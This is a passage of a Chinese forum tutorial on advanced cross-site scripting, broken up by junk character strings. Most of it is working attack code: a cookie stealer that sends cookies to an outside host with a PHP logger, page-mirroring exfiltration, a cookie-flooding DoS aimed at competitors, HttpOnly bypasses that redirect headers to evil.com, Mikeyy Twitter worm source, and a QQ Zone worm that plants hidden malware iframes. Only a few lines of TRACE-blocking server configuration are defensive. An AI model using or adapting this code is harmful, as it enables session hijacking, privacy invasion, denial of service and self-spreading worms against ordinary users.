' m! u, Q7 S# y, ^* M document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
4 [( \! a! K9 T: [9 `2 K4 p& ~, ]. x9 `7 s
alert(/ok/);
( ?1 ~( k! C8 k! O9 E) N. j' ^/ Q1 B5 y9 y% f
} - _: Z# a# Z7 e7 }: A+ f
6 w( {4 I. n% f1 R! h5 b
- k/ `8 A5 g* r; U- y4 F
2 c) S4 E: O; h8 g2 t d
doMyAjax('administrator','administrator@alibaba[1].txt');
+ C% @' i1 g7 t! f( }, L2 w
. t; R% q; R c* K! B P' N " j; ~$ M; m+ I, R+ K( g
2 Z! s$ l. p, X6 E, E& h* c, t</script>8 c" D1 |; j) h% ~0 i0 }$ S" o
* z* o# U4 g+ y1 }
8 j, W: ]- I* N& X1 r+ i
& B" y- \. ]: `* F0 }; _' u# K( Z
. J; W! i% l/ y& K9 {0 f% |" y
$ V+ A% x9 Q H5 B: c, @6 Aa.php0 n* Y' Y- Y& L" A
" K" W, O, @+ `
5 B9 J# O; Z4 m- ]5 d. k! t
$ z$ \; S, t$ Q
<?php
" d1 ?% H2 t& p" [7 k
6 {/ w) b( b' C* K) g6 \* y# U - Z1 I, @7 x$ ?7 ]& v
) C! Q6 c! `# p2 z( n0 O$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; * C( X. T5 R0 q3 y7 M @3 m
4 |, C+ L9 V8 v8 E. y+ `' m
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; ! L' r+ H# w, { u' T. r8 O- q
3 T A, k) _8 }' P1 L 9 N7 J) \& B$ M* e1 ]) Q
3 c/ l" [2 e9 J+ t- L$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); $ f. Q% k7 B) _8 ?7 D
- x' k6 F9 \& I/ j: R% V1 Q
fwrite($fp,$_GET["cookie"]); 9 m- }! {8 Y) f9 J8 Q. i! X
9 B% k6 s' L0 V7 [+ U; Y% x0 _fclose($fp);
0 c7 z4 W! a* d6 O# u$ }2 Y0 e& Q% H' L2 F
?> 7 Z( h4 k# C% ]" t
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
: t3 _1 I; r( ?( `' }' X
0 Z- I) L/ G$ k2 l, ^9 p C或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
1 o4 g) d1 e2 ~8 }利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
3 r9 J2 `' z( }) d
|2 E! z0 q' ?3 d- o' h6 H代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
1 W3 }( H# H3 Z3 {& V! n! ^5 {. c
. q) _2 H$ ?) R) E//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
+ z5 q u9 J- L) g P( |7 _. l( ?3 \
# i; P( d6 o! z; i+ I$ A3 u7 h//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);; ?3 Z3 U2 m2 X4 c; J- U
- G4 `0 |) `5 c3 {8 ffunction getURL(s) {0 l% L: E# t1 f8 o( I y
Y. z: ^, }8 Y" k( E
var image = new Image();1 s% m- ^3 v9 c) w6 o
1 Z* G4 Z6 _' F# `$ W# iimage.style.width = 0;! i+ X( l9 F8 X& H6 G ~" r; I
. P9 U/ f$ M' Y, y+ |
image.style.height = 0;" i' z6 H6 H4 i8 P" A& F
* ?' s, e) i( T: f0 U$ j4 iimage.src = s;& `) w% h/ j5 \& `3 d/ S
6 H: k4 D f! c2 L. c( V
}
. N7 v2 K$ @- A. o" ?' c
4 D+ a* \ B5 q1 L" ?getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);6 L- r" ^7 \2 ?/ L4 n
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.* \" m6 I6 j! ]- B
这里引用大风的一段简单代码:<script language="javascript">
6 R; q" F! H8 K" b
! ~$ S L/ a8 l" R# ]/ k' Evar metastr = "AAAAAAAAAA"; // 10 A8 q- L) @/ n6 W" ~& K4 y
# R6 j: p. z. L( |, Lvar str = "";! n& X, Y* {% j+ c
2 [3 d F- G! A) l9 p& t' y* N. b
while (str.length < 4000){/ m5 [' j7 h: X: a4 \/ g4 ]# x' G
/ b& F# f: R0 O
str += metastr;5 ~$ ^+ Y4 O! ]3 i2 d; J7 _
8 ?* p5 N% S2 x$ b/ L
}
( E0 i0 u/ F2 n. y4 |, o, ?$ g; u z: l. E$ H
& Y) {6 S: i2 Y8 L
, |" g. t# T! { q3 u( L; p$ B: xdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
; [' q$ {2 W& ?6 C8 d# J# H) ~. P0 b
</script>
% l% u! G- f: t" r8 X. A9 X$ F
T/ c5 w6 \% K8 c5 U详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
" J+ e7 z9 l) C8 ]- F. D复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思., x) M0 I3 M" r1 W- f
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150$ i5 J3 t" g6 I3 H/ V$ X+ O
0 I5 ], O$ P* L6 c9 Q: l- ?: R假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
% H: P& q& \+ f攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.( P# V- y3 [( c+ F) C
: c7 n8 |! G' ]7 G
$ r! C+ N! \) r% P& p: J4 ~8 G) A$ `8 @4 ~+ x, K C
9 w7 J4 K/ P: E9 ?' E" V
, F2 H% O7 M6 b; x* o
. n' ]& j& `" u3 a+ m(III) Http only bypass 与 补救对策:
* e* B. j& A g/ v% Q" D9 `- z: n% q4 Q1 R G- p
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
! v+ W, C0 _ m$ J- w% t% c8 ~( W以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">+ {. P2 e& _4 k0 k( l8 h% R
" x- \ J- d# n
<!--: q) ?; k: A+ x& v, ~# F
) D- Y7 i2 ]' S/ J5 S4 U( E7 Q
function normalCookie() { ; Q2 C) m5 C1 i+ M) a1 H
" z4 W& R9 M, g3 u6 }& q
document.cookie = "TheCookieName=CookieValue_httpOnly";
1 b+ j$ v. c. C# }( @8 j$ O, j* @. h. V
alert(document.cookie);
4 ]( I6 N( g2 i4 \4 z+ M6 {4 k! l
}, \5 Q$ w& G |: v, c+ H
Y; g+ ?% j5 m d
1 r4 y1 \2 {* E O
+ ^6 E, ^ {. ]8 G; m8 p6 E4 s
3 l! H9 T: F6 c
' h, l% h6 `9 ]function httpOnlyCookie() { . s# J) q$ u: W) s. Y, m4 L' L
1 ]9 p# u4 l2 x$ k" t9 E% R7 [document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; . z v4 Z# c2 u" B( J
( T9 B1 b, Q5 E W5 e0 X' E1 jalert(document.cookie);}
' m/ T F# B" R& V" l0 E+ J" d/ Z0 _# D, L& h% q
" i. s# z6 ]- J0 [
5 e9 \, R9 g& J+ u7 T! p3 B//-->
- E5 k! }0 J. ?% H! o9 w$ A1 J# P5 h: M$ I5 G' t( E
</script>4 x {9 A; v$ ^3 g1 Z
% i. K: Q( o1 a( r! m1 a% \: n1 o! E4 C; V- y# T. t" a4 ^
. E& h; j/ V' @+ j3 g<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
$ I! [3 ^ T, t: c ]
: _& |" A: P+ Y<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
. @. b% i: B. {6 ^! i复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>) Z, G" h" x- f0 i! h- N: G/ j
2 u8 S7 \2 d$ ?" M. e7 |. ]$ a
* K2 g4 P7 N* q+ F! N$ K* h" M+ U( {1 z6 z% H# G3 D) m8 Q6 j: I" V
var request = false;7 G' C/ R5 K- p# V
* d. @1 g: t+ X4 j5 b if(window.XMLHttpRequest) {0 {0 }. L" q7 [( |% B) Y; n8 K
$ X: _7 L7 h! E/ E( e" z+ n6 o request = new XMLHttpRequest();0 u4 P& P* |( r: g9 E z- E
r* S8 N B9 z( k* ?( z s+ C8 A6 X
if(request.overrideMimeType) {
4 v1 Y' T; h/ \7 ]
1 q! b( F' w! s% ~; ?% \ request.overrideMimeType('text/xml');! ^+ g1 \$ Q( D) t6 d
. ^6 N4 G( c# {1 r! N0 w }
, o+ D% G4 r* L
8 \' ^0 Z/ d0 N3 d3 J& ? } else if(window.ActiveXObject) {
; U8 ]; {% u! B
4 l2 B+ {4 `* E var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];# I2 x1 T1 P! N3 _
3 |7 |9 n8 _+ l& p/ _ for(var i=0; i<versions.length; i++) {% b9 ]) _, C" q4 H, q
7 V1 g/ ]4 c; D1 }' Q- t: C- ]2 s
try {
- ]$ y$ ]! M: j& `+ v- y+ t% z* j( U' z* Q. @2 Q& w: X3 J' k
request = new ActiveXObject(versions);
3 o1 W; ]7 u' a$ N3 E( @' G% w5 [" B5 F% P$ s8 c
} catch(e) {}
. [. |0 a6 B$ @
# \4 F! z! y+ p4 u$ u) D }- ~3 X$ C2 |1 Z4 w* U2 A6 a
* Z* v9 Z1 N# k; ^6 l# t3 ?% i! y
}
5 ]" t3 w" M/ [; K, y% W
9 I( h( A+ S' w7 `( V6 G0 SxmlHttp=request;. u. I; S2 {$ N+ O" g
4 v8 W* O* t) f' W
xmlHttp.open("TRACE","http://www.vul.com",false);
+ w( |! y: B e( T. H
0 ]1 x7 e$ l0 x# S5 lxmlHttp.send(null);- ?0 J" I4 G# s C- n
9 A2 ~. T) L; u: w7 Y
xmlDoc=xmlHttp.responseText;
, a1 r4 ]# b4 C! V( t. w/ T; G1 ]7 i/ x
alert(xmlDoc);
. V: O5 _) e6 G' F0 m+ x' f1 j& p& x( e8 B' c. B: h1 ~
</script>+ m s( w9 w' |* X a( R& P q
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>& j. N" \! K' B* F& f7 ` S
}- M9 F' U3 b2 E2 d7 y% g) K
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
) g1 y" V6 ^5 \! S# n! `7 k
5 D5 d2 x5 t' u3 U% F0 WXmlHttp.open("GET","http://www.google.com",false);$ B7 g& v+ r" a3 M0 c" _
$ e# y! F0 N3 B: n; e4 {XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
% ?/ R, D G" P7 M3 j" n2 y6 u+ F8 @' b
XmlHttp.send(null);
; g+ S" i! N! b2 }
) k+ H4 D3 f* \1 |! n& s# P2 vvar resource=xmlHttp.responseText" b, P* r0 g" y; D' ^2 A
& j8 ?: l& m/ i# r
resource.search(/cookies/);- v0 W6 ~, y8 W; S n8 H
# L! F, M) A7 l5 o
......................
- V. U( o: l: u# h2 W/ E7 u9 r, o, i, U. w1 h: k7 z7 Z8 a
</script>
* R z, I3 c) Z _& d0 Z! h! f2 i0 }3 m3 u% |6 i( y
/ n2 M/ t7 ^& k2 f& ?9 a, I
3 }+ T$ f' B' l# f4 r. A1 j$ {9 |6 e2 U; w
$ R, d8 n7 {) s4 Z: r1 O
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求6 [% a4 B0 M- d
) X6 A# Q" }: E8 i- H1 ], |! I& T[code]/ a% g$ t, Q- Q
; p' ^$ B7 b0 R+ E$ j: d! pRewriteEngine On
" V3 W* `5 h& k% y$ Q$ X
/ _9 w2 d: e( w. b) W% lRewriteCond %{REQUEST_METHOD} ^TRACE
- ^2 ~$ ]. ^, p6 |9 k' S, a) ~$ n7 w K& ^& j' p
RewriteRule .* - [F]
, N, A0 j# m5 x: V4 }9 m' _
+ L e- _# l# I
& m" k- `/ l2 ^& d4 r
" F' e8 m9 N5 Y. t. xSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求! v1 x/ |& l0 }; I
; D& W/ q1 }- z5 L% _5 \acl TRACE method TRACE
. c/ R" R/ G: V7 j8 y8 k4 B8 w
) N9 y/ Z+ n0 y9 p/ x/ Y7 u6 F...9 q& S) @9 M* B& \0 T
' Y2 P7 H5 C1 r1 ^4 H& {& I, [http_access deny TRACE2 N4 g7 f* a* [% N) T$ C. H
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
2 y1 P; |1 a6 _/ [: D; T' ^* w0 D3 B
3 |1 X: D9 \5 X) k3 P5 Qvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 K3 E2 \% h" a4 y7 W2 A6 u* N0 `0 R6 K q
XmlHttp.open("GET","http://www.google.com",false);7 S& u! W( Z+ O. J
# b1 Y% o. m6 J+ l* @XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");7 n, q, ^8 T8 R" X
1 l) J( [6 v( a8 b& R: zXmlHttp.send(null);/ R+ N! [, p7 e$ J: |! j: n. C
$ ~ ?3 Y; ]5 X! {
</script>! L/ A/ T, z! {( d
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
4 i9 `) d8 ^ b9 }# v$ u7 l
5 G7 X! l6 U. a$ Hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");5 G% U$ X( l& l% ~
8 g& B* f/ v( `( m D o/ N
/ G6 U( ^; O# k/ D0 K$ K4 k0 k
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
* U, w. I) k* T- W" I+ l+ F; b
& ^* M0 O2 A5 X( iXmlHttp.send(null);
* {3 c$ w8 C5 W4 W
3 d! E% k6 X' Z7 d- U$ Q<script>& ~$ H1 }, k& r0 R! f
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.( y7 j1 `8 x5 A; F
复制代码案例:Twitter 蠕蟲五度發威
4 V& \3 J) Q+ |6 j% A第一版:
/ M: S; B0 z9 r6 K7 u" N4 d 下载 (5.1 KB)
$ Z1 h; ]9 z! ~0 [: \( v* w. [7 A* W% I( P# _5 J1 w
6 天前 08:27
. i b$ q( v" d& H" O ^/ z* N/ A( E8 C* y9 I% ~
第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
1 c* x2 a- k: @& L& O" I, w
0 [$ H5 U- e" n5 K: ` 2. 8 Z% H, x) e. _
9 u, N+ F) N, d2 y 3. function XHConn(){
1 [+ N1 ~2 q. x
- L3 k5 n' K4 g' D) ~6 R 4. var _0x6687x2,_0x6687x3=false; 9 e0 \: R( W3 P
: g1 ?. o( f, f+ D5 i, D8 g 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } " I) M( j5 v* e
0 K% |4 Y- i6 ]. Z: V* U
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
, H5 {/ T u2 D3 z2 o) N7 c" e
0 \; T3 [6 i3 k8 g Q& e 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
+ ]0 ?# `: ]+ B" H' a: V; M# e# T# [. |
8. catch(e) { _0x6687x2=false; }; }; }; & V8 h0 u5 p [! Z7 E2 ^' o& m
复制代码第六版: 1. function wait() { " t+ `. \4 m( z3 B
* N2 w; m; ~9 ^: E( X8 e 2. var content = document.documentElement.innerHTML;
# {1 k$ {& h5 E
' n3 q& T: q! `% d8 K4 U 3. var tmp_cookie=document.cookie;
$ e' I7 H Z- _1 j
* R: r/ w4 U9 ?' c' G4 S& T( Q, G 4. var tmp_posted=tmp_cookie.match(/posted/);
4 n& G8 s6 t) _: w! @) T, g2 c- i2 X2 u V% q( b, s& k9 }
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
# t, @7 X! T$ q5 X+ x
( D$ F. ^) Y! @% O9 ~/ K 6. var authtoken=authreg.exec(content);
9 \: u) \3 E5 B; E+ Y
) N! a2 |1 [& X1 g 7. var authtoken=authtoken[1];
* \5 h5 Y$ u5 d* [. f* {: z
2 l; m# [- a# }/ Q 8. var randomUpdate= new Array(); & x( D, I! \& h6 S1 V7 e6 G
! I* O$ P( ]9 `; Q$ H; y4 A
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; $ e5 V4 q8 z( m* C* @" Q6 n7 g
; Y) ?) N7 L9 K- N: Y, @& b 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; ) i+ @) W$ v9 c9 Z8 v, }& S
, b* R# \/ i; i9 R6 R% M( J9 P1 A. | 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; c$ w( |* `/ s, i
4 D3 C2 h5 G, V& X& w 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; ' h. a! N( Q- f+ h; l, E J$ M
' W3 s, P7 h) m {# O& L( _- ~
13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 6 w! H( Y3 _( R7 I* b9 o
9 k3 p6 @" v& X* A J/ Q 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
% l" y# F9 ]7 r; t
- y* y& T: Q. {' h/ \. e 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
?/ _4 I/ {7 P0 z- b) _/ V- z5 W
16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
0 T9 T8 X' J* y* G
3 J* u3 H; f) g2 L+ v% i 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
5 [9 \4 j7 N4 W& t4 |+ q! X" G6 @
s+ v7 e; U" G: y) t/ \ 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
0 ]+ ^! t# R! U5 \& z [ o% w, y0 M0 [ N. W
19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
, r& |. a; g/ [
% a+ s! m5 Z4 S- z% s$ F 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 9 b. V! t/ i8 h% z% K$ d
/ C' _9 {1 `# o6 D 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; 9 {+ j! N0 H( K( Q" H
; k7 q1 E/ A5 q9 _9 R- W! @
22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
: X5 k% ]( W( m& {7 D& M6 y, _* W( ~7 w0 P9 b
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 1 C3 H9 n, B8 ?7 ?& Y' @5 M
$ v* _! ?0 P* c9 s. ^ 24. 3 u3 N% | s, w4 b! r; B9 q; X9 W
" D# M" O# j3 X; P& x, n 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; & ?) ~0 {' i0 u5 Q+ a4 E. s
; \# P& O' l* @ 26. var updateEncode=urlencode(randomUpdate[genRand]); n- O' Q" k: J- a1 N# X3 T
2 o; Q; e! w# Y z+ Y5 {9 h( K) | 27. $ o l% ]% h: ]( M# I$ X. T& z( O, o
8 n! R k3 G0 N, M1 |0 ^
28. var ajaxConn= new XHConn(); 3 D0 a9 l" V( X5 y1 ^! n1 w) T. J
# W# f3 h$ z. Q! ` 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
3 _9 |1 R7 V* n, g3 i1 Y2 e6 E! L' v. N8 G4 F, j
30. var _0xf81bx1c="Mikeyy";
5 p# Q5 I- B |+ L/ \
/ l. e/ G1 g) V) X 31. var updateEncode=urlencode(_0xf81bx1c); . m' c$ y0 ^7 n) |- q; n
5 N0 ]) B3 ] J' o& P1 v
32. var ajaxConn1= new XHConn(); ( @$ x0 I+ l( O: q9 W; f( Y
' K* c$ j* H$ }+ F' C3 l* f7 u 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
) E" T, R' x! y5 W* X+ J, B" c3 m5 D" S
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
+ Y( N# }! _7 q. w! L
6 R- n* t; ]1 f2 [/ a/ t" H 35. var XSS=urlencode(genXSS); / ?. ?7 P) L% P- ^6 C' Z* p
' V4 t0 e0 V Y ]8 c0 M/ W! ~
36. var ajaxConn2= new XHConn();
! S4 A# |* S2 l d" D" ^, w. K; m
: k& }' O% Q+ {4 P4 T8 B+ T y 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 3 m- i( h) } d: F0 P
) Z: q7 h) e2 I! E 38.
p3 n: v' e1 \) v. ^( o' v
+ i2 [8 W9 s7 |" L 39. } ; . D# `$ K5 q4 V, e0 s; p7 \- m
1 ]. k0 G' _- ?# A J 40. setTimeout(wait(),5250);
; t: L( J- J$ i4 z9 Q& R. H$ |复制代码QQ空间XSSfunction killErrors() {return true;}
$ `( ]/ E- B* \9 w* a$ h; ?* K. x( T" s( }, ?* C" b8 Q) H: b
window.onerror=killErrors;' _: n) o7 u) N4 y
# a7 v- d+ Y: p# m: i5 P
7 f5 T Y& K7 i0 @9 h4 T
+ l% ?. Z+ }+ c) j7 ~
var shendu;shendu=4;3 {9 H' n0 O1 y) L
8 c: l: {6 O& @$ c//---------------global---v------------------------------------------
( n" A& I6 b( z2 c8 V
( `7 x- y: ]: B9 u' i//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
! |% V; L k5 B- c
. N1 B/ e3 j* \# z. @var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
8 g( f; P0 C0 p: q9 T1 l2 R( t) s; K
var myblogurl=new Array();var myblogid=new Array();
* I+ R, `. ?1 }7 j
2 h* }# q* _7 R( \! c* [" H var gurl=document.location.href;" ?1 @6 K3 }/ H1 s
) m* m, X% l" A& y; d
var gurle=gurl.indexOf("com/");0 |- X8 b& H# Q1 K2 ]4 t
! |6 f+ R( A e4 H$ i
gurl=gurl.substring(0,gurle+3);
' z+ c7 v$ j5 s9 z, Q3 k: I, ?
* Y! p6 j. X+ d6 @; A var visitorID=top.document.documentElement.outerHTML;9 V9 L+ D% w+ m7 j
* T9 p; H* o0 N G
var cookieS=visitorID.indexOf("g_iLoginUin = ");
0 B ~ ` [: ^7 H. T, J6 `9 N- L
+ w8 j! C9 o: k5 J1 g; ~ visitorID=visitorID.substring(cookieS+14);
1 X ^" U0 R: e/ }, E+ A
- w7 E' L5 b5 G, N cookieS=visitorID.indexOf(",");
/ |, B0 a3 H5 J4 k1 G* _; _+ w' {+ s5 P. \0 z+ k: W7 z3 F' p
visitorID=visitorID.substring(0,cookieS);0 b' D# R( Y% \5 u; J" E. W9 A
$ e3 W1 D# i3 Y
get_my_blog(visitorID);
$ L$ I5 T9 ^0 T3 ~ ~1 b/ r$ `( K y/ I S% f, |3 `" r8 g
DOshuamy();
( F& |, Y" I, _8 v, E
r3 R$ A7 u" M% Q9 l
8 }# G: }- S4 c+ l$ Z+ y+ L( M/ v2 @# U2 u- i- w5 g) Q% e3 D7 ?
//挂马7 v, l L* [8 T- @. J; {, [
: H8 ]( o+ i+ |# l
function DOshuamy(){3 n# W7 E% [: `8 u# f( u- W. J
1 j& U( ?0 V1 I, W" e) g) g
var ssr=document.getElementById("veryTitle");5 O# f' V+ Q' H! l' U
% {- d0 \. ?) ]6 }! |ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
) X5 F% d2 a( U: t2 o0 ~5 @& M; E& ?; C, [& K4 ^9 {
}
6 I4 C6 }& e7 p( M8 Z( y F) t
/ g% O3 B) o8 Z- ^; ]$ }) i4 C' U) E1 |4 i$ V3 q
2 X; ?% Z5 t$ V" F8 f3 R
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
% n2 |0 o) V+ {' t9 e6 ]7 R" _4 _+ J- d3 k* C7 ~& `
function get_my_blog(visitorID){; j- s) ~) {5 P% @5 c
7 R" h3 D" o6 x% n* J; a
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";/ i* I; a$ X% |! y' M- `9 t: j" I
6 {5 A4 q+ L- J4 ?+ B e5 P xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
1 E( A: ]! K2 ?1 y. b
. N$ d3 S" a7 {/ q" G6 N% o if(xhr){ //成功就执行下面的& x0 C) ^1 h' V: V6 L2 Y6 ]1 _7 w
3 r8 W4 m3 n. A% \
xhr.open("GET",userurl,false); //以GET方式打开定义的URL
+ C9 U( t8 _8 R: A- i& O$ g' m
& U, y4 H S! q$ r5 R2 @2 Z xhr.send();guest=xhr.responseText;
" \& ?# Y" c! L8 y4 u1 Y
a& v- A4 L3 Q T: \" L8 S get_my_blogurl(guest); //执行这个函数
* y7 E4 \$ a6 Z& b4 R8 Y+ B, |" T& R' n# z. a5 P' P
}" {8 s( [8 b& X) \- M5 Y7 f
1 p8 T+ C+ P3 Y}! z; R& w6 t8 C/ z* ?0 C5 n! D
; ?6 V& P9 L1 ~0 X" X' c6 a
M# z( a7 B1 G" b) t
" e7 {4 @! C& s! v1 z//这里似乎是判断没有登录的5 q4 Z0 z4 x# P) B- r% F' E
) Q0 D( X; a) \6 k3 Kfunction get_my_blogurl(guest){- L) p1 }* G, }! s
( j. b: M3 H' |3 C, l6 i- i$ W
var mybloglist=guest;
]& c8 k3 s% x6 J# {) `
% X+ U6 _7 d( X: U" `+ P( z var myurls;var blogids;var blogide;& V& N: c9 b5 B/ I3 c* P: q
* V+ d$ X. v2 W! ~9 U
for(i=0;i<shendu;i++){5 C! P5 p: \' A0 T1 N z
9 }3 }! ]& T5 q5 X myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了& x( e$ w# b1 f9 ?
% B. @0 S3 O% O3 w& l6 Z9 P' \5 K4 f
if(myurls!=-1){ //找到了就执行下面的
/ k7 u6 t5 Z5 _( X" a' t) O7 k3 X# M. T$ V& U
mybloglist=mybloglist.substring(myurls+11);
8 Q% n& C0 K1 M( P. Z9 U
2 ?1 f& r: g& I& l myurls=mybloglist.indexOf(')');
